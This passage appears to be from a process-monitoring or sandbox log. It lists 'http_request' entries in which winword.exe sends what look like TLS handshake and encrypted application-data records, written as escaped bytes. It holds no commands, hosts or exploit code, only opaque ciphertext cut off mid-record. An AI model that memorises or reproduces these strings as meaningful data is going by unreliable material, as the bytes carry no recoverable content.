\\xbdts\\x9c\"\\xfdz\\x89$g\\x9ck\\xd5\\xcdu\\x158\\xa0\\xca\\x94\\x08\\xa9%\\x87\\x00\\xca\\xb9-\\xeb.\\x80\\xa4\r\\x9b\\x18\\xef\\x05\\x9d\\xc6b"
  650.  
  651.  
  652. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9\\xd6\\xe7|,,|r\\xc7\\x96\\x1cx\\xd8\\x92g\\xac\\x8b\\xca\\x97\t\\xc1\\x1a\\x12\\x94\\xe2\\xa4\r'\\xf7w\\x8d\\x81\\xe5\\xad\\xcf\\xbfa\\xed\\xe4u\\x99\\xf5\\x90\\x16\\x18\\xe9\\xa4\\xd8\\x14\\xb1\\xe5/\\x8cd\\x12q\\xc2\\x9e\\xc5\\xd4\\xfb\\x9dz\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf4*&\\x10\\xf9\\xd8\\xe7^ \"\\xa1\\xe4\\x8a\\xa4\\xc0\\xec$|e\\x18$\\xfba&9_%\\xdd\\xe8-\\xab\\x84\\xda\\xfeu\\xde\\x04^\\xe3=\\xfc9\\x1e+q\\xedr"
  653.  
  654.  
  655. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010d\\x9bp\\xca=\\x96<\\x947#9\\xb3\\x80\\xc8f\\x1a\\xe4>\\xbc2\\xf0\\xc0\\xef\\xea\\x87\\xb5\\xa5\\xf5\\xd0\\xe0\\xe1\\xff\\xd7,\\x13\\xcd\\xdb@\\x16\\x81\\xe9\\x12q\\xa8o\\x0e$z\\xf7\\x9d\\xee\\x0b\\xe1\\xa5\\xf4\\xd9\\xcf\\x14\\xc9\\xb6@lo\\xf0\\xb7\\x9b\\xad\"\\x8a\\x00\\x16\\xb5,\\xf1\\x00\\xdfx\\x1f\\xbe)\\x98g\\xf4\\x1c\\xe8\\x80\\xe1\\xd6fn\\xdc5\\xaf\\xf0ce\\xc5\\xcb(\\xf6ccz\\x130\\x07\\x9a\\xa9\\xe2\\x13\\xde\\x18\\xabe\\xd7|\\x83g^\\x13\"\\x8d\\xb5^\\x80o\\x95\\xfby#\\x80\\x92\\xe9kv@gp\\x9f\\xfe7\\xfey\\xd41&\t\\xfb\\x0e\t\\xd1\\xdc\\xce9u\\xdc\\xb5\\xf3\\x89lo\\x1e\\xd7\\x1b\\x953\\x9e\\xb7!\\xd1\\x01!\\xba\\xf6e\\xaa\\xa1\\x16\\xda\\xd4us\\x86z\\xb7l\\xb3c\\xf6\\xd5\\x0ek\\xdeu\\xac\\xf2\\x19\\xe5\\x1c\\x7fx`%f\\xfc\\x864\\xcezo\\x1c\\x15#!\\xf4_p^,\\x86\\xb9$\\x0f\\xe4\\x80e\\x18\\xa8\\x18\\xfa\\x0f\r\\x9c\\xb3l\\xd7\\xac\\xacf+\\xbe\\xce!\\xad\\x12\\x1e>\\xea"
  656.  
  657.  
  658. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9d\n4\\x9a(\\xa4\\xaa\\xcc@\\xae\\xe3\\x9d\\x17\\x15\\xa5j\\x9e\\xa5\\xe0\\xe7\\xe5 \\xe7\\xc1&\\xb2\\xe8<\\xda\\xcbe'8p\\xe3b;\\xbf\\xd0\\xb2o\\xa0\\xbe\\xbc\\xe6e.`\\xcc\\xb2m\\x0e\\xed\\x99p\\xfa\\x7f\\xca\\xa5\\xe1\\xc0\\xb6\\xa1\\xe2_h\\xcf-wyc\\\\xd2;&\\xaf\\x0b3\\xb8\\xeca\\xa8\\x869\\x95\\xba\\xe9f\\xac\\x0e\\xa8\\x02\\xdctx%\\xd0\\xde\\x15\\xd9\\xc7\\xf8$yx@\\xef@4\\x81\\xbb\\xa0\\xfc\\xed\\x96\\x7f\\xcf=\\xe3\\x86\\xfc\\x8d\\x17\t&\\x90rca\\xdc\\x9c\\x80>\\xcf`'\\x1d\\xa0\nb4\\x98\\xa3\\x9c*\\xb8\\x16o\\x92\\xbf\\x97e\\x86\\x98-\\x11\\xbejh\\xe6\\x8f\\x9b\\x11\\x85=nl\\x89r7\\xf2\\x8ak\\x81\\x1b\\xda\\x0c\\xb1\\xe9\\x0f\ro\\xc5\\xfduq:7\\xb2((qf\\xd4\\xc9#3\\xd6\\x18\\xdcm\\x90\\x99#+m\\xe9-\\xceg\\x06\\xe5\\xc3\\xa3\\x15\\xb6\\xe6\\x18\\xcc\\xb1\\xfes\\xbe\\xa7hz0\\xb9g\\xd3h\\x03f\\xfc_\\xfeb\t\\xb7\\x8f<\\x7f\\xcf\\x8eut>\\x90!z"
  659.  
  660.  
  661. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k\\xca\\xc5\\xbbx\\x83d3p\\xc1\\xe2\\x80*\\xc7\\xe9\\xb8\\xd7\\xe7\\xa0\\x82~v\\xeew<\\xdfkz\\x859\\xe8\\xb7c\\xb4\\x8fv\\x87#\\xb2^\\xcb\\x99\n\\xc3\\xf4\\xee\\x81.\\x8d\\x11^\\xb0n\\xc1\\x8e\\xdby)\\xad\\xf0(\\x9a\\x13 \\x98,\\x15\\xca\\x9ezq\\x8a\\xd2\\x0c\\x99\\xb6\\xcd\\\\x1b\\xad9a\\xad\\xd8\\x17\\x12\\x9a/)|,r\\x91^\\xdd\\xbcvx\\xaacw\\x9e-\\xbc\\x9b\\x10\\xc0\\xcbw\t\\xf6\\xf2\\xc8y\\xbb\\x11j\\xab\\xabi\\xbe\\xda\\x16p\\x99\\xed<\\xfdw\\x97\\xc1\\xc8\\xc8\\xd4\\x1e\\xc3'\\\\x81\\xce\\xf3f%e\\x1b\\xe6%\\x9a\\xa3\\xf9\n\\xafzxf\\x01\\x08\\x9f\\xb1\\x98\\xcc_\\x98pq'|\\xbbe\\x10\\x02k\\xd7\\x97\\xe20\\xcf\\xc4\\x1a6\\x87\\xa3\\xf3|\\x98|\\x12\t7pm\\xc9\\x8c\r\\xa5u\\xf57\\x15b4\\x83s\\x16\\xc0;q#.x\\xc8\\x1c\\xc8\\xa0z\\xfb\\xe6\\xf9\\x03l\\xe9@\\xe6\\xd05\\xe4\\xd8\\xeb\\x86\\x8d\\xfc$r\\xd9\\xb28\"=q\\xcd\\xf8\\x80.\\xc8\\xbf\\x99\\xa69n"
  662.  
  663.  
  664. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0102\\x84\\xeb!\\x1c1/|\\xc0\\xa1s\\x92n>\\xb1\\x8dugn4\\x86\\xae\\x97\\xb8\\x9c\\x8c\\x1c\\x1f\\x9a\\x93\\xdfet\\x85,c\\xc8\"\\xe1\\x00k\\x92\\xca\\x08j\\xe1\\x8c:fn\\xed\\x11_\\xfb\\x92\\xb2\\xef\\x1a\\xc3\\x81\\xa2b=\\x13%\\x11\\xe9jy,jgz\\xe4\\x8b\\x18r\\x86\\x10+\\xf6\\x18\\xe1\\x91\\xb1\\xb0(\\xb9\n:\\x98\\x96\\xf3\\xf9'\\x0f\\xe9;\\x84\\xf7epvv3\\xf8\\xda\\x9c\\x1c\\x03\\x89\\x7f\\x87!\\xbf\\x18\\xf9\\xd0'o_\\xc1\\xe9\\xc5+\\xeco\\x17\\xf2\\xf4\\xd8\\x1b\r\\xec\\x97\\xa3\\xe6%\\x91\\xe6\\x95\\xc0\\xc3\\xd8\\xdb\n`\\xb9\\x1d\\x94f\\xa0g\\x17u\\xff2\\x13\\x8c\\xbb\\xa0*\\xae\\xcc\\x16h\\x15\\xe9\\xd1\\xd5i\\x02\\xf5mj\\x04_\\xe2\\x15\\xab+u\\xbacg\\xbb\\x98\\xaa(\\xf3j\\xbc\\xe5\\xa0\\xbcxg\\xa52\\xbe\\xbd\\xaf\\xd9\\xaeo\\xe3\\xa1v\\xbb\\x99m&\\xa2\\xc7\\xab\\xa6\\xf4\\x86\\x9b'\\xeaf\\xbcm\\x8e\\xac\\x17\\xc4\\x95\\x00\\x96o\\xee\\xc6\\xe7o\\xf90\\xb4<2\\xfbg\\xe3a"
  665.  
  666.  
  667. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd3#\\xdb`\\x00\\x15i\\xff,\\xb1:\\xed\\xe98e\\xde\\x8c\\xcfz\\xe24\\x15z1\\x93\\xb8*\\xca\\x9bq\\xact\\xff\\xc8\\xe9`\n\\x1f\\xe8\\xb1\\xfbt\\xd0\\xbf\\xb8d\\xb7\\xf5fe\\xf7\\xfep\\x91/ma\\xbc\\x0f\\x99\\x1a\\xb9\\xe3\\x19\\x03\\x88;\\xb2\\xc8\t\\xc3=\\x10\\x7f\\x8e\\xed'gi\\xc4\\x01q\\x15\\x88*\\x8ccy\\xfcv\\xe3\\x81c\\x0bme\\x08\\xee\\xe2\\x15\\x95t\\x0e\\xc9o\\xf8\\x90\\x1e\\x83\\x1fj\\xfb\\x1f\\xf0\\xbe\\xe0\\x1b\\xe5\\xc9\\xd9\\xbb\\x8f\\x87\\x076\\xa1\\x1f\\xf20\\x03\\xda\\xe9\\xb8\\x00s\\xea\\x82v\\xeb9\\x8e_\\xeb\\xde\\xe1\\xc83\\xbd\\x08\\xd7fj\\xd0\\xdd\\x00\\x1c\\x93sa0\\xf9\\xb7\\xf4\\xd2\\x9cb\\xe3\\xbe\\xc0\\xc6\\x9d\\xfel'\\xabzp\\xfe\\xe6\\xe2\\x86\\xc2\\xc4\\x17e*\\x85'\\xc5\\x89\\x94\\xc6\\x9a\\x9f\\xa5_\\xf41a\\x8d\\xad\\x0e\\x18u\\x99\\xbeo\\xa0\\xa1\\xeey)\\xa2\\x18\\xe29\\xa9x\\xfb\"\\x8a\\xcf.\\x9f,e\\x9ff\\xf1\\xfd\\xb2\\x98j\\xe6\\xe8\\xc5_\"\\x8d\\xf8)g`\\xca\\x18~\\xdc\\x87"
  668.  
  669.  
  670. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8\\xe2\\xb5sn!\\x9d=\\xdbo*k;\\xdd\\xcb\\xd1\\xbbq\\xed\\x8e\\xaa\"\\xba\\xeb\\xa9\\xc7\\xf1\\xe5>;\\xc2v\\x8c(\\x18\\x8c\\x0b=^\\xa3*\\xd0#\\xdat1\\xf0\\xa2\\xa8\\xb0qa&\\x0c\\x86\\x85iq\\x03dhk*\\xf2cw\\xdbl\\xa5\\x7f\\xd5s+\\xa5\\xa9\\xed\\x7f\\x88\\xc6\\xd7\\x88\\xf1\\x04\\xaf\t\\x9dp,\t!x\\x1a\\xf2,\\xeb\\xb6s\\xa3=\\xa3 \\xedw&\\xf4\\x90\\xa7\\xb5\\xc6kr\\xed\\x99\\x03\\xa4\\x13\\\\xc1\\xeb\\xb3lp\\xae\\x14\\xc0\\xec\\xdd\\xee\\x8a\\x08\\x9d\\x18 \\x1b4e\\x07\\xc7\\xeb<i\\x8d\\xf4@v\\xca\\xf5\\xfe\\x92\\xea\\xcb%\\x07\\xdb\\x8e\\xeedv\\x1b\\xd0\r\\x95\\xb8\\xd9\\x0e\\xa9xe\\x87\\xf6\\x98\\xeag\\xd7\\xf4><\\xa4\\xf9_\\x15\\xc6\\xd0.\\xc5\\x17*\\xd4\\x9a\\x12.\\xd1\\xc2\\x1e\\xf4\\xbcg\\xff\\xed\\xf6\\\\x02tx\\x91l\\xc9\\xedft\\xab\\xbc\\xcf\\xbe/\\xf6?\\xe6#w\\xef\\xa3x>\\x83\\x1cdm\\xf6l\\xecm\\xe84\\x14h\\xfd\\xd8\\xe21\\x84d\\x01\\xaa\\xd1\\x94\\x19\\xad"
  671.  
  672.  
  673. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xca\\x85\\x8a\\xcb,\\x9a\\_\\xcf\\xa9\\x14m\\xfd\\xbc6r\\xb2\\x00\\x0e\\x10m\\xd4(\nf\\xa9\\x01\\xf5b\\xda\\x0ct!\\xe95\\xda$\\xb5\\xcf\\x8ean\\xef)\\xf6\\xea\\xa9\\x03\t\\xe9\\x90,b\\x95\\xa1&\\xce\\xa4\\x8aw\\xcc\\x1e.\\x1d\\xe3o\\x1a4\\xdc^\\x1f\\x9cs\\xdd\\x1bh\\x13$\\xa1\\xa6\r\\x8f\\xa6o\\x1e\\x1f\\xb1u\\xe7\\x0bc4c\\x93\\xa2-p\\x1d\\xbd\\x91\\x07\\xe0|\t\\x87@\\x93\\x8d\\xc2i\\xc2\\xeb\\xcck\\x11i\\x99\\x90\\xe6\t\\x1cs\\x84\\x91\\xfc\\x1e\\xe5\\x02\\xf2\\xb5$q\\xe3\\xda\\x8be\\xce<\\x1e\\xb6\\xac\\xeb\\xddv\\x9ay\\x98f\\x10\\x913\\x19\\xa3\\xe4u\\xe7\\xb9d\\x84\\x89\\xed\\xa5\\xddo$\\x04\\xb0\\x8c\\xd0\\xf1>r\\x93\\xa9\\xad\\xa9\\x08\\xfd\\x16\\x9d\\xf3)\\xdd`\\xb6\\x93\\xa2\\xb7\\x9f@\\x84\\x05\\x1c\\xd3\\xe8\\x95\\x0e\\xb43/vj\\x15\\x1b:e\\x81\\xb4i\\x1e\\xd8/\\xf4\\xc7if\\xaf\\xc1\\\\x8e\\xf1\\x83\\x12z\\xa3\\x84\\x12\\x12ug\\x86\\x14c\\xe9\\x8eg\\xcf\\x16q\\x14\\xd7\\xb8v\ry\\x14"
  674.  
  675.  
  676. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x06\\xb6\\x18\\x91i\\xaa|\\xf42\\x90 \\x99\\xf6#fh$ wr\\xd2\\xe2\r99%!&jx\\xebf\\xdb\\xcf\\xe4\\x06-\\x86l\\x83%j\\xf9\\xb4\\xa0,o\\xb5\\xde\\xa9i\\x17\\x84\\xebh\\xb8\\xb6i\\x9ao\\xdd\\xd8\\xa9\\xe6q+a\\x9e\nseq\\x9e\\xa7\\xc8\\xec\\xc1x`l\\xd6\\xd8\\xce|\\xbbm\\xd9q\\xb4c\\x01\\xf8\\x1d\\xf0\\xed\\xed\\x12\\xa2\\xda\\x02\t\\x98\\xee\\xb9\\xa4\\x00\\xb6\\x9b\\xc4j`\\xb9\\xcf\\x8fpg\\xff\\x88\\xdf.\\x19\\x92\\x8a2\\xabar\\x9cn\\xf6\\xbe\\xf3:=\\x19\\xc0\\x85c\\xd5\\xe8\\x8b\\x16q\\x06\\xd4n\\x14\\xb8\\xa1\\x05cq\\x9d\\xa4\\xf6\\xf0e\\x10\\xeb\\xe9\\x94\\xdf8c\\x06k\\xa6?\\xde\\x06\\x80l\\x87\\x82\\x92\\x17\\xdal\\xab\\xdf\\x96@\\xf4\\x8c5\\xb4@\\x1d\\x16g\\xeb3\\x19|\\x11\\x05f\\xb8\\xa5\"\\xaf<\\x13\\x97\\xbb\\xa2\t\t\\xfa\\xa1\\xfdo\\xec\\x9975\\xb2-\\x9bu\\xf39\\xbf\\xc2;\\xaf\\x92\\xad\\x88*-1\\xc3ed\\x98\\x91\\xc6\\xc9\\x13\\xf4\\xf3+j\\x1c\\xb3\\xd2,"
  677.  
  678.  
  679. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0f\\xc6\\xdc\\xc0\\xe9\\xd3'\\xdb\\xcd\\xe9\\xe7a\\x96\t\\x1b\\xb8\\x858\\xad\\xed\\x94\\xf1\\x17\\xdcc\\x95\\xe0q\\x0e\\x14\\x1b\\x84!y\n\\xf7\\xac\"\\xf4v\\xf2r\\xfa/\\x17\\xed\r#\\x10\\xb8\\xfd.\\xbd\\xd3n\\xf4\\xeb\\x02\\xdf!\\xcb\\xd4\\xabzi\\xffp\\xc6\\xd0\\xf6\\xff\\xd2\\xb1k\\x8f\\xf4\\xe6\\x13q\\xc8\\x11`r\\xc5vr\\xe9\\xe8\\xaa\\xe4hh\\xa6\\xe6\\x07\\xb8\\xba\\x00\\xa4c\\xad\\xd5\\x150\\xb4l\\xa9p\\xe12\\x03y>\\x01v\\x89\\xf7\\xd7\\xe7\\x1d\\x05\\xc96\\x8b(5\\xa5n\\xeb\\xc778f\\x94@\\x81!\\x88\n\\xc9\\xe5\\xd7\\xb0\\xde\\xcb\\xb2\\xcbo\\xe6\\xc4\\x15/\\xe2\\xf9\\xae\\x17\\x8a\\xd9\\xb5\\xec\\x9bz\\xb6`d=;\\x0enn\\xc2\rhay\\x9fv\\x93\\xe01\\x19x\\x87\\x85\\xf5\\x8b!h\\xbd\\xf6\\xd6mu\\x0cy\\xf5\\xcb\\xbb~g9\\xcb\\x1f\\x97\\x90\\xcf;\\x16\\x183\\xe5\\x9at\\xda\\xce=i\\x17\\x1ckj\\xc9\\xf4\\x8e\\xf8\\xb3)?\\x0cg\\xde\\xa4\\x87\\x99pt\\xb2~\\xb8+\t^\\xe9\\xd4\\xf5~s/"
  680.  
  681.  
  682. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010;\\xd3\\xd5\\xb5\\xd0\\xeb\\x1e`\\x07g\\xcc\\xd9\\\\xf3\\xa1~x\\xd0r\\v\\xbf\\xce\\xa1ft\\x8ah\\xdb-'\\xb4\\xcf^\\xd4\\xc8\\x901\\xc9\\xd5\\xb5\\x9en\\x02\\xed\\x15\\xfc\\xcd\\xdah\\x8df\\x83)w\\xc2\\xdb\\x08\\x86\\xc0v\\xb3!e\\xc6\\x153\\x89f\\xf2p\\xe7\\x98cw\\x9aeztlm\\x12u\\x98\\x86\\x8b\\x0e\\x90i\\xe0u\\xadp\\xbeq\\xc2=\\x9d\\x83\\xb9\\xa7\\xd9\\x16\\x8dmd\\xb6,\\xa6\\xc5\\x84\t\\x7f\\xeb0\\x9d\\x89\\xb1\\x8ahr\n\\xc7u\\x15\\x8b-\\xf1\\x106_\\xcae\\xabm\\x13pr\\x9b\\xff\\xb9\\xbb\\xafggz\\xb8\\xb4x\\xb32\\xe2\\xa7r\\xa8\n\\xd6o\\xab(,\\xc7\\xac\\x0f\\xc8\\x99\\xb1o\\xe4d\\x1c*\\xfdf6\\xe5\\x87dz\\x90ps\\x03j\\xcess\\x1ds\\xa8\\xcf\\5\\x15\\xef1,\\xd3\\xfd\\x97\\x88b\\xb3\\xf5*i\\xee\\xbd\\x81\\x9b=3\\xa3\\x84\\xf5\\xa9\\xdc\\x84\\xe3\\x8c\\x161\\xe7\\x0erh\\x9co\\x8a\\x1c.\\xa7\\x0c?\\xc5\\x88(\\xe5d/\\x8e\\x85uj"
  683.  
  684.  
  685. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0e4s%kh\\xe6 \\xfa\\x92\\xca\\xda\\x1f\\x1bz\\xf0u\\xaf\\xba\\xc3q\\xb5\\xde?a\\xd71\\x87\\xc6\\x1el\\x95j\\xfb/\\xc4\\x16\\x06\\xf2g\\xd7%\\xd3\\xf2\\xe8\\xc8j\\x90zy\r\\xe2\\x1c\\xaf\\xbbx'\n\\xa1\\x04%f\\xff\\xa67z\\x8d.y\\xee\\x19\\xce\\xb4\\x85!\\x84\\xb4\\x8ajj\\xbc\\xfa\\x07|:\\xb0\\xaa%`\\xc0\\xa8t0\\xa7\\x1do\\x02j\\xf3\\xe3\\x9an\\xaa\\xd8\\x0co\\x89jdj\\xc4\\x99\\xfd\\x0cq!\\xd0;$#o\\xe4\\xb7e\\xce\\x87\\x88,y\\xdde\\x972\\xe9\\xc9\\xe6n\\x92g\\xef\\xec\\x83\\x11\\xf9\\x06\\xf2\\xc4q1x\\x86\\xbdq\\xfa\\xbe\\xb66\\xd2\\x92\\xedk\\xe3.\\x87\\xd0p\\x0c\\x9e h#\\x15\\xac/\\x8b\\xa5\\xae\\xf7\\xf9\\xe2\\xaa\\xb1m|\\xc3\\xbar:\\xe92\\x82\\xbdp\\xe6.frn\\x86<9\\x87\\xa2x\\x14\\x08\\x9a\\x02\\x8a\\xb6v\\x03\\xb0\\x9d\\xd8\\xab'\\x82\\x1e\\x96\\xf3\\xdb\\xf6_h(a\\x94\\xa7\\xbd\\xf8\\x8e\\x9brz)\\xf3@qjf\\xde#\\xcee\\xd2r\\xc6"
  686.  
  687.  
  688. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b\\x83\\xcc*bj\\x08\\xf3d\\x08u\\x11\\xe1\\x94\\x19\\x16\\xd3>\\xb7\\xce;\\xdf\\xa6z\\xe3\\xa8)^\\xe5\\x8b\\xd4!\\x17\\x9a3\"\\x8a\t\\xf6\\xd3\\x99\\xb0o@d\\x9ea\\xbcy\\xd3\\x03hbdc\\x18\\x153!\\x00\\x80a\\xaa\\xff7f\\xd3\\x18'lb\\xb0q:v\\xf3\\xb1\\xed\\x16\\x8b\\xdd\\xb2\\x89\\x97\\xc4\\xf5\\x0f\\x0b\n\\xfdys \\xa88\\xcc\\x18\\xba\\xd1\\xc4\\x13\\xf9w\\xb4liq\\x8c\\xe7kr\\xaf\\x95'\\xa5\\x86x\\x0f\\xd2\\xf4\\x9ea\\xdath5\\xef\\x06\\xf9\\xa5@p\\xf2\\xcd*\\x9c\\xf5?c\\xad\\x87\\x80`\\x88\\x1e8\\x05*\\x89\\xe1-\\xd2\\x05\\x85\\xc7,\\xca\\xba\\x03\\xb2\\xf1d\\x9cj\\xe5\\x90\\xc2\\xf2+k\\xa2t\\xe7d\\xd7\\xaf\\xdf-\\x83\\xc0\\x9b\\xe0\\xba\\x07\\x8fb\\x19/=\\xe1q\\xfa\\xfbq\\x9br.\\x9bj\\xee\\xe6iz\\xed\\xcb\\x11m\\xd6i\\x03\\x14h\\xfd\\xa14\\xd1i\\xebr\\xd5-\\x1c\\x86\\xd0\\xe2\\\\xe3\\x0cne\\x05\\xa9\\xb1\\xaa\\xeb|\\x96\\x97\\x16\\x8c\\xbd\\xcb\\x9d\\xca"
  689.  
  690.  
  691. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb9.b\\x9a\\x1d\\xff6\"x\\x9b\\x89\\x009\\xe80\\xd1|\\xa6$4)\\xfe\\xfa\\xdayyy\\x95$\\x00.\\x8d\\xae\\x19du\\x97\\xbf\\xc5\\xcf\\xb8?a&|n\\x9d\\x1e\\x1e\\xae\\x9b\\x81\\xea\"y\\\\x08\\xd7| m>ed\\xe9g\\xf1\\xbdb%\t:\\xe04\\x95\\x88\\xaay\\x19:/\\xb2\\xff\\xa2\\xb0\\x97nzti\\x99\\xbc\\x7f\\x7f\\x97b\\xb2\\xa1\\xb4%)\\xe3\\x8e)\\xde\\x10\\xb8\\xb9\\x91\\x82\\xc3\\xf3r\\xdc\\xa1\\xc4\\xb6e\\x94k\\xe4\\xb9\\xb0\\xc6=y\\xe8v\\xb0g\\xdc\\xa1\\x94>\\xef\\xb0\\xcf\\xb1\\xda\\x8egal\\xc2r\\xc1\\x05\\xad\\xab\\xf5\\xbb\\x9cs\\xad\"a\\x83n\\xce\\xae\\xe1\\x89a\\x86\\xa7t\\xb9\tm\\xebm?&2t\\xa6\\xc0\\x93\\xdcux.\\xb76\\x88\\xb2r1\\xdd\\x8c\\xa9xs\\xe1t\\xb0\\x10\\x0cc\\xe3\\xa3\\xca\\xc6\\xa8\\xca\\x95\\xce\\xebxg\\xb0\\xfbt\\xc3\\x97\\xfdc\\xab\\xb6b\\xc3\\xdfqr\\xa8e\\x1fr\\xbd@\\xfd:'6(\\xc4j\\x83\\x05\\xfe\\xbe!\\xbf\\xc0\\xdc\\xef"
  692.  
  693.  
  694. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\x16\\x8a\\xc1)z\\x06\\xd0\\xbd\\x8f\\x8d\\xaay\\x1b+7`\\xe0_\\xce\\xe1\\xdc\\xb9)\\xeeh&\\xcc\\x1dj\\x08a\\x8a\\xe1(\\xa9\\x0bs\\x13\\xf2k-\\x04\\x97\\xea\\xf4\\xe6\\xae\\x05\\x02\\x0f\\x936\\xbc'/\\xac=y~\\xc4l\\xc9\\x80p);&\\xa3c\\xdcb\\xdf\\xdf%\\x9c\\xfb\\xe1\\xb7\\xa1\\xc1\\x05\\xa18\\xe8\\x1f\\xdd\\xca\\x8b\\xd0*\\xae`\\x8el\\x95\\x96>\\xc6\\x12\\x90)+\\xb7\\x04\\xaa\\xaf\\xaf\\xb9\\xe2)\\x97\\xd1\\xf4q\\xf6\\xaeg\\xfb\\x9d\\x12\\xc2\\x0f*\\xff\\xfe\\xb4\\xdabj\\x80b(\\xd9\\xdfu\\xc4\\x7f\\xc5b\\x06+zm\\x08\\x0f=\\x9e'\\xeb\\xe3;o\\xee\\x03\\x0c\\xach\\x10\\x88\\xcc\\xa1\\x889\\x9d\\x07\\x18\\xc5\\x98m\\xe5\\xb3\\xb0q\\xe5\\x87\\xf9\\xc4g\\x8ff3\\xe4\\x82q\\xd1m6\\x9firk\\xa6+\\x88\\xc6&\\xac?b\\xd3\\xceif\\xa8\\xd9!+$l\\x00i+,\\xb9,)\\x1b\\xb41\\x10\\x8a\\xday\\x93\\x0f\\xa6\\xbb\\xd1a\\xcc\\xe5\\xc2\\xd1\\xf0d\\x88\\xb5\ri\\xad\\x83cd\\xeci"
  695.  
  696.  
  697. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9b\\x93e4\\x0cq3\\xae7\\x95\\xd1\\xfeqo\\x07\\x10w\\xd0i\\xa0\\xb4\\xf8\\xd3\\xf3\\xc9h\\x18a\\x96>o\\x17!\\x8e\\x92r\\xe7\\x1f\\x85\\xb7\\xa0/\\x93\"\\x7f\\xf3\\xab\\x90\\x08\\x05w\\x86\\xd8\\xa9\\x7f;\\x89f\\x9a#\\x82\\xd5\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xadz\\x03_\\xf8h\\x04*\\xd6l\\x8ex\\x06r5\\xe8\\xde\\xab\\xd8\\xfc\\x86\\x8c+by\\x06x\\xf3\\xd7\\xab\\xb7\\x07\\xbd\\xfc4\\x7f\\x8dgovc\\x98\\xdc\n&\\xb4"
  698.  
  699.  
  700. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04 \\x16\\x7f<p.\\xbf\\xb08v\\xaa\\x82\\xadg\\xe3\\x04\\x05\\xbe\\x9f\\xb9c\\xc8(\\x9f\\xc7!\\x97b#-x\\xa0e\\x13q\\xdc\\x8a\\x9e\\xd5rd\\x96\\x07\\x97\\x80\\x0e\\x86o\\x83ul\\x1fn\\xc86q\"\\xec\\x86\\xeb\\xfa\\xd5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z,\\xbc1\\xa3\\xea\\xd2\\xd4\\xc6ys\\xfb\\xbd'\\xc5\\x96\\xefv\\x1e@\\x95n\\xe5\\x1ed\\xbew\\xae\\xcd\\xc9\\x17\\xc2\\xa7\\x83\\xae\\x87_t\\xb9\\xf6\\x98\\xe2t\\x04\\xc6l\\xb4"
  701.  
  702.  
  703. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa6\\xd52)!3y\\x9a\\xcd\\xab\"\\x19ks\\xeao\\x8f0\\x90\\x93\\xfb\\xb2\\xef\\xd4v+t\r<=k\\x01\\x80|x\\x81\\x8dt\\x84\\xc2\\xf8\\xa0\\xca\\xcdj\\xd5\\xe3\\x96\\xd7z*\\x1e\\xfd\\xa1\\xeamn6\\xb1!\\x0ea\\x7f\\xcb\\xab\\xef\\x02q\\x01w_r\\xa6\\xd9\\x8e~\\xdb\\x97\\xc9\\xef\\xb2\\x8au!`\\x86\\x8d\"\\xcb\\xa2\\x1b*\\xf4\\x85e\\x92\\xe4\\xab\\xee\\x8fm\\xe5\\xe2\\xf7\\x15\\x1e`\\xdb\\x9br\\x0bb\\xffh?\\x1cp\\x85x\\xe1\\xff\\x9e\\xf0bw\\xd9:\\xc3\\xe9\\xe4\\xd1\\x9ex\\xa0\\xaam\\x80:)j\\x04\r|d\\xfe\\xf7\\x88\\xe1\\xd5g\\xe4\\xc2^0\\xf9\\xb1kq\\x99\\xaa\\x13\\x9a\\xd5\\xdd;\\xd6\\xb2e\\x9a\\xb1\\x8f\\x11\\xa36\\x80\\x08\\x0e\\xc0c\\xf6\\xc4\\x89c\\x96\\xbc\\xd0\\x0cdc\\x00\\x9d\\xc6)\\xca\\x10em\\xa6+aqv~\\x87ji\\xc2o\\xab\\xf82\\x88r\n\\xf3\\xcec\\x88\\x86\\xf0j(\\xc5\n?\\xc9\\g\\x0e\\xb6\\x06r\\x15~i\\x15\\x0co\\xb8\\x97\\x0e\\xb4s\\xbbn"
  704.  
  705.  
  706. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x873\\xa5\\xc9r\\xf0ugl\\xf2\\xfe\\x13\\x7f\\xc1\\x16\\xc6\\x9e\\xbc\\x0cj\\xa0\\x1fby\\xcb\\x07>y\\xa6\\xf6\\x0f\\xb3\\x02\\xf2\\xc4\\x15\\xb9\\xdd\\xa8\\x08+\\x1a\\x1d\\xd6\\xff6x\\xcd\"`\\x98\\xc8\\xac\\x01~\\x9b\\x18\\x8f\\xf0\\xeb\\x85h8\\xbap\\x06\\xb1\\x1f)c\\x04\\x02\\x12i\\x1dg\\x08\\x82(@k\\xd4\\x96,\"\\xcf\\x86&\\x84`\\x0e\\xa4\\xd4\\x9e\\x1c\\x06v\\xaf=\\xd1\\x16\\xa5_q\\xabpd\\xa9\\x85\\xbd\\xfc%h\\xb5\\xa2p\\xb3oyb\\x9e\\x90\\xb0\\x0b\\x80\\xa3\\xe2n\\x17r\\xc3\\xd9z\\xedh\\xf2\\x83\\x03\\x16m\\xee\\xc8\\xd9\\x98\t~\\x84\n\\x8e5\\x05\\xc5\\xa1\\xe4\\x01\\x9c\\xc1\\xe1\\xa4\\xcf\\xf4\\xcc\\x91\\xbe\\xa2\\xac\\\\x13\\x95\\xec\